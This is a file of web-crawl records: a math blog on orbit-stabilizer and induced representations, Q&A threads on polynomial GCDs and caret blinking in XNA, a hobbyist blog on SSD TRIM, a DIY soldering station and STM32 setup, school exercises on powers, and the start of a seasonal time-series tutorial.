$G$-map (or $G$-equivariant map or $G$-morphisms) is a map $f:X\rightarrow Y$ s.t. $f(g\cdot x)=g\cdot f(x)$ for all $g\in G$ and $x\in X$. We say $f$ is a $G$-isomorphism if it is bijective. Show that if $f$ is a $G$-isomorphism, then $\inv f$ is $G$-equivariant. With our definitions set up, we come to Let $X$ be a $G$-set. Fix any $Y\subseteq X$ s.t. $g\cdot Y\cap Y\in\{Y,\emptyset\}$ for all $g\in G$ and $G\cdot Y=\{g\cdot y\mid g\in G,y\in Y\}=X$. Finally, let $H=\Stab(Y)=\{g\in G\mid\forall y\in Y:g\cdot y\in Y\}$. Then, $$X\simeq\bigsqcup_{\sigma_i\in G/H}\sigma_iY$$ as $G$-sets where the union is taken over coset representatives of $G/H$ and $\sigma_iY=\{\sigma_i y\mid y\in Y\}$ (note: $\sigma_iy$ is just a formal symbol) and $G$ acts on it via $g\cdot(\sigma_iy)=\sigma_j(h\cdot y)$ for the unique $\sigma_j,h$ s.t. $g\sigma_i=h\sigma_j$. Let $f:\bigsqcup_{\sigma_i\in G/H}\sigma_iY\to X$ be the map $f(\sigma_iy)=\sigma_i\cdot y$. This map is $G$-equivariant since $$f(g\cdot\sigma_iy)=f(\sigma_j(h\cdot y))=\sigma_j\cdot(h\cdot y)=(\sigma_jh)\cdot y=(g\sigma_i)\cdot y=g\cdot(\sigma_i\cdot y)=g\cdot f(\sigma_iy)$$ where $g\sigma_i=\sigma_jh$. For injectivity, if $\sigma_i\cdot y=\sigma_j\cdot y'$, then $$(\inv\sigma_j\sigma_i)\cdot y=y'\implies\inv\sigma_j\sigma_i\in H\implies\sigma_iH=\sigma_jH\implies\sigma_i=\sigma_j\implies y=y'$$ where the second-to-last implication comes from the fact that we fixed our coset representatives ahead of time. Finally, for surjectivity, fix any $x\in X$. Since $G\cdot Y=X$, there exists $g\in G$ and $y\in Y$ s.t. $g\cdot y=x$. Thus, writing $g=\sigma_jh$, we have that $f(\sigma_j(h\cdot y))=x$. Let $X$ be a $G$-set, and fix any $x\in X$. Then, $\|G\cdot x\|=\|G:G_x\|=\|G\|/\|G_x\|$ Apply the above theorem to the $G$-set $G\cdot x$ where $Y=\{x\}$. It’s worth noting that Orbit-Stabilizer usually only refers to the corollary above, but this stronger version is closer to our main theorem. # A Quick Intro to Representations of Finite Groups Now that we’ve seen Orbit-Stabilizer, we’ll need to introduce some definitions from representation theory. Fix a group $G$ and a vector space $V$ over a field $\F$. A (linear) representation of $G$ is a map $\rho:G\rightarrow\GL_{\F}(V)$. Given such a map, we call $V$ a $G$-rep, and morphisms of $G$-reps are $G$-equivariant linear maps. Finally $\theta:G\to\GL_{\F}(U)$ is a subrepresentation if $U\subseteq V$ and $\theta(g)=\rho(g)\mid_U$ for all $g\in G$. When studying linear representations of groups, there are two main perspectives one can take. Everything can be done in terms of an explicit representation (i.e. the map $\rho$ above) or in terms of modules over the group ring. Since I haven’t talked about modules on this blog before 3, I’ll stick to the explicit representation approach and leave exercises to translate things into statements about modules for the interested reader. Prove that a linear representation of $G$ is the same thing as an $\F[G]$-module. 4 Thankfully, we don’t need a lot of representation theory for the main result of this post. We only need to know a few different types of linear representations. Also, in case I ever forget to mention this, for the rest of this post, assume all vector spaces are finite-dimensional and assume that all groups are finite. A permutation representation of $G$ on a finite-dimensional $\F$-vector space $V$ is a linear representation $\rho:G\rightarrow\GL(V)$ in which the elements of $G$ act by permuting some basis $B=\{b_1,\dots,b_n\}$ for $V$. Consider the symmetric group $S_n$ acting on $\C^n=\bigoplus_{i=1}^n\C e_i$ via $\sigma\cdot e_i=e_{\sigma(i)}$. Let $G$ be any finite group, and consider $\C[G]\simeq\bigoplus_{g\in G}\C g$ as vector spaces. This is the regular representation when $G$ acts via $h\cdot g=hg$ on the basis. Finally, we need the notion of induced representations. This let’s you take a representation of a group $H$ and canoncially construct a representation of a larger group $G\supseteq H$. The construction is very reminiscent of the Orbit-Stabilizer theorem. Let $H\le G$ be a subgroup of $G$, and let $V$ be an $H$-rep. Fix a complete set of coset representatives $\sigma_1=e,\dots,\sigma_n\in G$ s.t. $G/H=\{\sigma_iH:0\le i\le n\}$ and $n=\|G/H\|$. Then, as a vector space, the induced representation from $H$ to $G$ is $$\Ind_H^GV=\bigoplus_{i=1}^n\sigma_iV$$ where $\sigma_iV=\{\sigma_iv\mid v\in V\}$ is a space of formal symbols. This is given a $G$-action as follows: given some $\sigma_iv\in\Ind_H^GV$, there's a unique $\sigma_j$ and $h\in H$ s.t. $g\sigma_i=\sigma_jh$. We define $g\cdot\sigma_iv=\sigma_j(h\cdot v)$. Prove that, as $\F[G]$-modules, we have $$\Ind_H^GV\simeq\F[G]\otimes_{\F[H]}V$$ so induction is really just extension of scalars. The regular representation is $\Ind_1^G\F$ where $1$ denotes the trivial group and $G$ acts trivially (i.e. by the identity) on $\F$. # Orbit-Stabilizer v2 This is where we’ll prove the main result, which roughly says that (almost-)permutation representations are induced representations. Let $V$ be a $G$-rep with a decomposition $V\simeq\bigoplus_{i=0}^nV_i$ as a vector space s.t. for all $i,j\in\{0,\dots,n\}$, there exists a $g\in G$ s.t. $g\cdot V_i=V_j$, and let $H=\Stab(V_0)$. Then, $$V\simeq\Ind_H^GV_0$$ We will show this by constructing an explicit isomorphism. Let $f:\Ind_H^GV_0\rightarrow V$ be the map given by $$f(\sigma_iv_0)=\sigma_i\cdot v_0$$ This is easily seen to be $G$-equivariant, and it is linear by construction. For surjectivity, it suffices to find preimages for elements of the form $v_i\in V_i$. Given such an element, there exists some $g_i\in G$ and $w_i\in V_0$ s.t. $g_i\cdot w_i=v_i$. Now, we can write $g_i=h_i\ith\sigma_j$ for a unique $h_i\in H$ and coset representative $\ith\sigma_j$. Doing so gives us that $f(\ith\sigma_j(h_i\cdot w_i))=v_i$ so $f$ is surjective as claimed. Finally, we need to show that $f$ is injective, so fix some $w=\sum_{\sigma_i\in G/H}\sigma_i\ith v_0\in\ker f$. This means that $\sum_{\sigma_i\in G/H}\sigma_i\cdot\ith v_0=0$, but we claim that $\sigma_i\cdot\ith v_0$ and $\sigma_j\cdot\Ith vj_0$ belong to different summands (i.e. different $V_i$'s) which forces $\sigma_i\cdot\ith v_0=0\implies\ith v_0=0$ for all $i$ so $w=0$. To prove the claim, suppose that $\sigma_i\cdot\ith v_0,\sigma_j\cdot\Ith vj_0\in V_k$ for some $k$. Then, $$\inv\sigma_j\sigma_i\cdot\ith v_0\in V_0\implies\inv\sigma_j\sigma_i\in H\implies\sigma_j=\sigma_i$$ and we win. This wasn’t the proof I had in mind. I imagined (and still do) that it was possible to directly apply the original orbit-stabilizer by letting $X$ be a (well-chosen) basis for $V$ and $Y$ be a (well-chosen) basis for $V_0$. However, in trying to make this work, I ran in to issues getting a well-defined action of $G$ on $B$. Basically, $H=\Stab(V_0)$ can act nontrivially so it’s possible that $h\cdot B_0\not\subseteq B$ which is troublesome. I still hold out hope that this idea can be salvaged in general5, so See if you can come up with a proof of the above that applies the original Orbit-Stabilizer theorem (e.g. apply it to a basis of V and then extend linearly). If you can, let me know. Consider $S_n\curvearrowright\Sym^2\C^n$ where $\C^n=\bigoplus\C e_i$ and $S_n$ acts by permuting the $e_i$. Restricting this action to the basis $B=\{e_ie_j:i,j\in\{1,\dots,n\}\}$, we see there are two $S_n$-orbits $$\begin{matrix} B_0 &=& \brackets{e_ie_j:i\neq j} && \Stab(\C e_1e_2) &=& S_2\times S_{n-2}\\ B_1 &=& \brackets{e_1^2,\dots,e_n^2} && \Stab(\C e_1^2) &=& S_{n-1} \end{matrix}$$ Thus we can write $\Sym^2\C^n=V\oplus W$ where $V=\C B_0=\bigoplus_{i\neq j}\C e_ie_j$ and $W=\C B_1=\bigoplus_{i=1}^n\C e_i^2$. Furthermore, $S^n$ acts transitively on these decompositions of $V,W$ so applying our theorem ($V_0=\C e_1e_2$ and $W_0=\C e_1^2$) yields $$\Sym^2\C^n\simeq\parens{\Ind_{S_2\times S_{n-2}}^{S_n}\trv\otimes\trv}\oplus\parens{\Ind_{S_{n-1}}^{S_n}\trv}$$ where $\trv$ is the trivial 1-dimensional $S_k$ representation sending each element to the number 1. This time, let's look at $S_n\curvearrowright\parens{\Wedge^2\C^n}\otimes\C^n$ where $\C^n=\bigoplus e_i$ and $S_n$ again acts by permuting the $e_i$. We have a basis $B=\{(e_i\wedge e_j)\otimes e_k:i,j,k\in\{1,\dots,n\},i< j\}$ but it's not fixed by $S_n$ (e.g. $(12)\cdot(e_1\wedge e_2)\otimes e_3=(e_2\wedge e_1)\otimes e_3\not\in B$), so we'll look instead at the spanning set $B'=\{(e_i\wedge e_j)\otimes e_k:i,j,k\in\{1,\dots,n\},i\neq j\}$ which is fixed by $S_n$. This has the following orbits $$\begin{matrix} B_0 &=& \brackets{(e_i\wedge e_j)\otimes e_k:i\neq j\neq k} && \Stab(\C (e_1\wedge e_2\otimes e_3)) &=& S_2\times S_{n-3}\\ B_1 &=& \brackets{(e_i\wedge e_j)\otimes e_k:i\neq j,k\in\{i,j\}} && \Stab(\C(e_1\wedge e_2\otimes e_1)) &=& S_{n-2} \end{matrix}$$ It's worth noting that $(12)\cdot(e_1\wedge e_2)\otimes e_1=-(e_1\wedge e_2)\otimes e_2$ so we can switch whether $k=i$ or $k=j$ in $B_1$ above. Applying our theorem to (the span of) each orbit and summing them up, we get that $$\Wedge^2\C^n\otimes\C^n\simeq\parens{\Ind_{S_2\times S_{n-3}}^{S_n}\alt\otimes\trv}\oplus\parens{\Ind_{S_{n-2}}^{S_n}\trv}$$ where $\alt$ is the alternating 1-dimensional $S_k$ representation sending each element to its sign. 1. which, unsurprisingly, is a version of Orbit-stabilizer for representations of finite groups 2. for X a set, they are (self) bijections 3. but really should at some point 4. This includes proving that $\F[G]$-linear maps are $G$-equivariant and that submodules correspond to subrepresentations 5. It certainly can be in the case that H does indeed act trivially (or at least stabalizes the basis)… Question: is there always a basis B_0 s.t. Stab(V_0) is contained in Stab(B_0)?	2018-10-19 20:35:49	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9654458165168762, "perplexity": 121.91503028786825}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583512434.71/warc/CC-MAIN-20181019191802-20181019213302-00409.warc.gz"}
https://math.stackexchange.com/questions/2150433/expressing-the-gcd-of-3-polynomials-as-a-linear-combination	# Expressing the GCD of 3 polynomials as a linear combination. I've been given 3 polynomials: $x^6-1,\,x^4-1, \, x^3+x^2+x+1$ and I have been asked to find the gcd and express it as a linear combination of the 3 polynomials. I got the gcd using $$gcd(p_1(x),\,p_2(x),\,p_3(x)) = gcd(p_1(x),\;gcd(p_2(x),\,p_3(x))).$$ The gcd is $x+1$. I'm now having trouble finding a way to express it as linear combination. I have looked at many question that show how to do it for 2 polynomials. However, I haven't seen a generalization of the method for more than 2 polynomials. Any hints are appreciated. ## 1 Answer You can simply find a combination between $a$ and $GCD(b,c)$ and then sobstitute the Bezout's identity for $GCD(b,c)$ • Is it okay if one of my coefficients is 0? – ybce Feb 18 '17 at 19:30 • Well, is ok if the exercise don't ask the coefficients are non zero :D However the Bezout's Identity give you relations with non zero coefficients so you can use it – Sabino Di Trani Feb 19 '17 at 12:47	2020-02-29 10:26:38	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8707177042961121, "perplexity": 244.5679776844654}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875148850.96/warc/CC-MAIN-20200229083813-20200229113813-00526.warc.gz"}
https://gamedev.stackexchange.com/questions/12903/execute-code-at-specific-intervals-only-once	# Execute code at specific intervals, only once? I am having an issue with XNA, where I want to execute some code in my Update method, but only at a given interval, and only once. I would like to avoid booleans to check if I've already called it once, if possible. My code is here: if ((gameTime.TotalGameTime.TotalMilliseconds % 500) == 0) { Caret.Visible = !Caret.Visible; } As you may have guessed, it's for a TextBox control, to animate the caret between invisible and visible states. I just have reason to believe that it is called twice or maybe even 3 times in a single update-call, which is bad, and makes it look unstable and jumpy. TotalMilliseconds is a double, so you should not be doing an equality comparison there. There is every chance that the timer gets a fraction of a millisecond off, and your conditional never triggers. Also, there is no mechanism in your description for that code to run more than once per update. I recommend storing an integer frame number somewhere: int frameNumber; Then, in your update function, simply do this: frameNumber++; Caret.Visible = (((frameNumber / 30) % 2) == 0); 30 frames, at 60 frames per second, is 500 milliseconds. The alternative method, which is more generally useful, is to store a countdown timer: double timeLeft; And then do something like this: timeLeft += gameTime.ElapsedGameTime.TotalMilliseconds; const double triggerTime = 500; if(timeLeft > triggerTime) { timeLeft -= triggerTime; Caret.Visible = !Caret.Visible; } Just to comment on your code, and on mpnk121's answer: It's fine in this case, but in general the downside of using TotalGameTime (instead of ElapsedGameTime) is that you have no mechanism for pausing it. By the way: 500 milliseconds seems like a very fast rate for a caret blink? Perhaps slow it down a bit. Your update function probably isn't called in multiples of 500ms every time, which is what your modulus would imply. You could save the last time it was called, then compare it with the current time , like int lastcaret = gameTime.TotalGameTime.TotalMilliseconds; // in loop if((gameTime.TotalGameTime.TotalMilliseconds - lastcaret) >= 500) ToggleCaret(); Lastcaret = gameTime.TotalGameTime.TotalMilliseconds;	2021-06-18 01:43:53	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.33575063943862915, "perplexity": 1729.2409479097626}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487634616.65/warc/CC-MAIN-20210618013013-20210618043013-00572.warc.gz"}
https://thaiphd.wordpress.com/	# Properly usage of Solid State Drive on Linux Solid State Drive (SSD) is superior to even the fastest 7200rpm Hard Disk Drive (HDD), both in performance, power saving and temperature control. I recently bought a used Thinkpad T430 with a 500GB @7200rpm HDD. Performance is not bad at all with 8GB RAM. But the palm rest on the left side of the touch pad become hot until the point I couldn’t take it anymore (not really really hot though, just around 40 degree C but still uncomfortable). I decided to upgrade it to a 128GB SSD of Kingston and was amazed by its performance: file copied instantly, OS boot just like come back from sleep, temperature was at a comfortable degree that I could work on this laptop for hours. Amazing! Yes it’s expensive, for only 128GB I have to put 20$more into my HDD to finish the deal. But it’s totally worth every cents. But the SSD is different to a normal HDD in writing and reading, in deleting file. The minimum unit when writing is a 4KB page. But the minimum unit when deleting is a block of 256KB. See the problem yet? To write to a page is easy and always ready as long as there is an empty page. But if the SSD want to delete a page, it has to copy all written pages in the same block –> erase the whole block, then copy those pages except for the page it need to delete. The process become heavily slow overtime. The more data is written to an SSD, the slower it get. So to fix this problem, the OS must tell the SSD which block is empty in the file system. And this is where the TRIM command come to the rescue. TRIM command or alternative is available on Windows 7, 8, 10 (where windows 9 is at huh Bill Gates?) and latest Linux OS. My system run Linux Mint 17 and it’s already have the script enable to weekly TRIM the SSD. But it only apply for Intel and Samsung drive. I have to add –no-model-check to bypass this model checking and all is well. This is the content of my currently weekly cron script: #!/bin/sh # call fstrim-all to trim all mounted file systems which support it set -e # This only runs on Intel and Samsung SSDs by default, as some SSDs with faulty # firmware may encounter data loss problems when running fstrim under high I/O # load (e. g. https://launchpad.net/bugs/1259829). You can append the # --no-model-check option here to disable the vendor check and run fstrim on # all SSD drives. exec fstrim-all --no-model-check # DIY Soldering Station [part 5] My soldering station is working nicely now for a while. Below is my demo video of it. Not all functions demonstrated in this video though. As always, all codes, schematics and PCBs is updated on my GitHub project page: http://www.github.com/wonbinbk/SSS 1. Heating control In this version of code, heat is controlled using only Proportional controller (although the full PID controller is coded, but Integral and Derivative terms are commented out) The reason for this is after tuning PID for a few set of values, I noticed Integral or Derivative only worsens system’s response, as you will see on some of the graphs below (All data and graphs is in /Data folder) 2. Calibrating heat sensor You can calibrate this iron, using the two buttons SW2 and SW3. I don’t have a good and trusted thermometer around. So I only depend on the melting ice temp and hot boiling water to calibrate this. First, press either Sw2 or SW3 while turning this station on. The LEDs will display “- – – -“, indicates calibrating mode. Next put iron tip on melting ice for a few minutes, then press SW2. The LEDs will display “000°” for 0.5s and then display ADC value that it reads on the sensor for you to notice. It then saves this value to ROM. Then you put iron tip on boiling water for a few minutes, then press SW3. The LEDs will display “100°” for 0.5s and then display ADC value that it reas on the sensor. It also saves this value to ROM. You will have to reset the station after calibrating. 3. Auto-standby and auto-cool off The station can detect whether the iron is resting on its holder or not. But you need to connect a wire from the holder (should be metal) to GND so the holder effectively becomes GND. When you put the iron on this holder, the LEDs will display a RTclock and a timer will start. This RTclock can be adjusted using SW2 and SW3 if necessary. Although I have to admit this will be reset back to 00:00 when you turn the station off since it doesn’t have a back up battery. After 20 minutes resting on its holder, the target temperature will be set to no more than 200 degC, depends on your temp setting at the moment. After 30 minutes resting on its holder, the station will turn off heating, let the iron to cool down on itself. This is important and safe for me because I a forgetful person who usually forget to unplug soldering iron after work. During and after this time, if iron get off its holder, the target temperature will be back to normal, which is whatever value that is set using the pot knob. That’s all for this project. I could think of a few more functions to implement and the PIC still have some program memory space left (which is ~35% left on PIC16F873A and ~70% left on PIC16F876A). But for a smart soldering station, I think this version is good enough. Please feedback if you think I miss something or you want to add something more. # [STM32] Set up tools and library Previous post I told you how I chose to learn STM32 next. This post will be about how to set up tools like C Compiler and library, ST-LINK software. 1. GCC for ARM Download this free C compiler for ARM here GCC-arm-embedded Currently the latest version is 5-2016-q1-update. Choose a packet that compatible with your system, either Windows or Linux. Extract it to a folder. In my case, it is in ~/STM32/gcc-arm-none-eabi-5_3-2016q1/bin Next step is add GCC binary folder into your PATH environment. I’m using Linux Mint. $ export PATH=\$PATH:~/STM32/gcc-arm-none-eabi-5_3-2016q1/bin Next install automake for the MAKE files to work # My STM32F4 love story Recently I bought a STM32F4-discovery. It is a development board for 32-bit ARM based micro-controller. There are a STM32F407VG MCU, two MEMS sensor (1 accelerometer and 1 microphone). It also comes with a ST-LINK V2 so we got everything we need on this small board to flash the chip and play with it. # DIY Soldering Station [part 4] Hi everyone, anyone, who is still reading this 😦 Check out my latest version of the SSS (Smart Soldering Station – Yes, it sounds cool, doesn’t it?) on GitHub. 1.Power supply: In V1, I used a buck regulator to step down from 19V, and powered the logic parts. But it was so hard to filter noise out of the analog signal. Because the PIC used +5V as a REF+ and +5V in this case was not exactly 5V but has ripple all over it. That affected the final digital result. In V2, I used the jelly bean LDO LM7812 and LM7805 to “step down”. What I worried before was the heat dissipating from them. But after testing for a long time, the 78XXs don’t even need any heatsinks because the load on them is low. The result is good, stable ADC readings. 2.Amplification: Continue reading “DIY Soldering Station [part 4]” # DIY Soldering Station [test board] Sorry for hanging up too long…Been really busy. Below is my test board DIY soldering station video. Will update about it later. Meanwhile, check it out! I think it’s totally usable. And even without any special control theory, the output temperature is controlled pretty close to the required temperature. (1-2°C). 1. Power supply: This soldering station need to be efficient. I will choose switch mode power supply. The circuit will have 2 power inputs: from 24V AC though a rectifier or 19.5VDC from a spare laptop power supply. I prefer the laptop power supply since it will be safer to use and output voltage will be cleaner than I could make it myself. The Hakko 907 is rated 50W 24V. I measure the resistant of the heater $R_{heat}$ is around 3-4 Ω when cool and 10 Ω when hottest. When$R_{heat} =3\Omega$, assume maximum power is the rated power 50W then we have current $I_{heat} = \sqrt{50/3}=4(A)$, Voltage supply need to be $R_{heat}I_{heat}=12(V)$. When $R_{heat}=10\Omega$, we have $I_{heat}=\sqrt{50/10}=2.2(A)$ and voltage supply need to be $2.210=22(V)$. So we need a voltage of power supply 24VDC.	2017-01-17 19:06:10	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 7, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.17540766298770905, "perplexity": 3451.6751245408086}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-04/segments/1484560280065.57/warc/CC-MAIN-20170116095120-00031-ip-10-171-10-70.ec2.internal.warc.gz"}
https://www.asymptote-project.eu/en/all-tasks/?asymPagination=60	## All Tasks #### Coins and dice Simon threw, simultaneously, the coin and the dice shown in the picture. What is the probability of getting European face and an odd number? # Multi-stage random experiments Modeling 9 #### Multiply the numbers on powers What is the result of $2^22^3$ # Powers Learning 8 #### Simplify the power Who has the right answer? Exercise: Simplify the following power. 1) $(1234)^{-1000}\\$ Lisa: The answer is $\frac1{(1234)^{1000}}$ Ali: No the answer is 1,234. # Unassigned Reasoning 8 #### Multiplication of powers Simplify with the help of the first Powerlaw and choose the right answer option $x^{2\;}\times\;x^3\$ # Unassigned Training 8 #### Diversion with power What is the correct answer of $\frac{3}{-2} \ x^3\div\left(-\frac32x\right)^2$ NOTE: write only the numerous part e.x. if the answer is $\;\frac{45x}{34}$ just type 45 and 34 . if the number is negative the signal must be at the numerator. # Powers of integer exponent Reasoning 8 #### Multiplication with powers Make the calculations and then fill the gaps $4x^2\cdot5x^4$ # Unassigned Learning 8	2022-12-02 10:14:24	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.814483106136322, "perplexity": 2494.445075243807}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710900.9/warc/CC-MAIN-20221202082526-20221202112526-00623.warc.gz"}
https://www.y1zhou.com/series/time-series/seasonal-time-series/	# Seasonal Time Series Oct 14, 2020 Sep 15, 2021 15:55 UTC We introduce seasonal differencing, seasonal ARMA models, and combine them to get SARIMA models. In the last chapter, we learned about how to deal with mean and variance changes in time series data. Periodic patterns are also frequently observed, and we will use seasonal ARIMA models for this type of data. ## Motivating example The data are the monthly sales of six types of wines Australian wines (red, rose, sweet white, dry white, sparkling, and fortified) for years 1980-1994. The units are thousands of liters. We’ll focus on the red wine sales data, and use the ts() function to turn the column into a time series object. 1 2 wine <- data.table::fread("https://raw.githubusercontent.com/y1zhou/knowledge-base/master/content/series/time-series/5-seasonal-time-series/wine.csv") wine <- ts(data = wine$Red, start = 1980, end = c(1994, 12), frequency = 12) As always, we first plot the series and its ACF and PACF. On top of the mean and variance increases over time, we also observe a periodical pattern that repeats every year. This means we might be able to use the sales in June 1985 to predict the sales in June 1986. In seasonal AR(1) (MA(1)),$X_{t-12}$($Z_{t-12}$) can be used to predict$X_t$; in seasonal AR(2),$X_{t-12}$and$X_{t-24}$can be used to predict$X_t$, etc. When we see a seasonal pattern in the time series plot, it’s often desirable to increase the lag.max parameter when plotting the ACF and PACF to see the entire pattern. The ACF slowly decreases as a result of the series being trended. Because the series is seasonal, the ACF for the seasonal lags (12, 24, 36, etc. multiples of the seasonal frequency) are higher than the ACF of the other lags. We see a combination of these effects for this trended, seasonal data. This effect could be removed using seasonal differencing. But before that, let’s see some simpler models first. ## Seasonal ARMA A seasonal pattern occurs when a time series is affected by seasonal factors such as the time of the year or the day of the week. Seasonality is always of a fixed and known period. The frequency is the number of observations before the seasonal pattern repeats1. ### Seasonal MA(1) We will start with the seasonal MA(1) model. As we have monthly data in the motivating example, let’s say the period$s=12$. The$MA(1)_{s=12}$model is $$X_t = \mu + Z_t + \Theta Z_{t-12}, \quad Z_t \overset{i.i.d.}{\sim} WN(0, \sigma^2)$$ Recall that the MA(1) model had a linear combination of$Z_t$and$Z_{t-1}$, but in our seasonal MA(1) model we have a combination of$Z_t$and$Z_{t-12}$where the 12 corresponds to the period. If we didn’t know there’s a seasonal pattern, we could call this an MA(12) model. The$\Thetanotation is to emphasize the seasonality. Calculating the ACF is similar to the process for the MA(1) model. We first find the autocovariance function: \begin{aligned} \gamma_X(0) &= Var(X_t) = Var(Z_t) + \Theta^2 Var(Z_{t-12}) + 0 \\ &= (1 + \Theta^2)\sigma^2 \\ \gamma_X(k) &= Cov(X_t, X_{t-k}), \quad k \geq 1 \\ &= Cov(Z_t + \Theta Z_{t-12}, X_{t-k}) \\ &= \underbrace{Cov(Z_t, X_{t-k})}_{=0} + \Theta Cov(Z_{t-12}, X_{t-k}) \\ &= \Theta Cov(Z_{t-12}, Z_{t-k} + \Theta Z_{t-12-k}) \\ &= \Theta Cov(Z_{t-12}, Z_{t-k}) + \Theta^2 \underbrace{Cov(Z_{t-12}, Z_{t-12-k})}_{=0} \\ &= \begin{cases} \Theta \sigma^2, & k = 12 \\ 0, & \text{otherwise} \end{cases} \end{aligned} Thus the ACF is $$\rho_X(k) = \begin{cases} \frac{\Theta}{1 + \Theta^2}, & k = 12 \\ 0, & \text{otherwise} \end{cases}$$ To find the theoretical ACF, we may use the ARMAacf() function in R. The theoretical PACF can be found by setting parameter pacf = TRUE. We can see that all ACF values are zeros except atk=12$. For the PACF, there are spikes at lags that are multiples of 12. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ARMAacf(ma = c(rep(0, 11), -0.5), lag.max = 30) # 0 1 2 3 4 5 6 7 8 9 10 # 1.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 # 11 12 13 14 15 16 17 18 19 20 21 # 0.0 -0.4 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 # 22 23 24 25 26 27 28 29 30 # 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 ARMAacf(ma = c(rep(0, 11), -0.5), lag.max = 50, pacf = T) # [1] 0.00000000 0.00000000 0.00000000 0.00000000 # [5] 0.00000000 0.00000000 0.00000000 0.00000000 # [9] 0.00000000 0.00000000 0.00000000 -0.40000000 # [13] 0.00000000 0.00000000 0.00000000 0.00000000 # [17] 0.00000000 0.00000000 0.00000000 0.00000000 # [21] 0.00000000 0.00000000 0.00000000 -0.19047619 # [25] 0.00000000 0.00000000 0.00000000 0.00000000 # [29] 0.00000000 0.00000000 0.00000000 0.00000000 # [33] 0.00000000 0.00000000 0.00000000 -0.09411765 # [37] 0.00000000 0.00000000 0.00000000 0.00000000 # [41] 0.00000000 0.00000000 0.00000000 0.00000000 # [45] 0.00000000 0.00000000 0.00000000 -0.04692082 # [49] 0.00000000 0.00000000 ### Seasonal MA(Q) In general the$MA(Q)_s$model is $$X_t = Z_t + \Theta_1 Z_{t-s} + \Theta_2 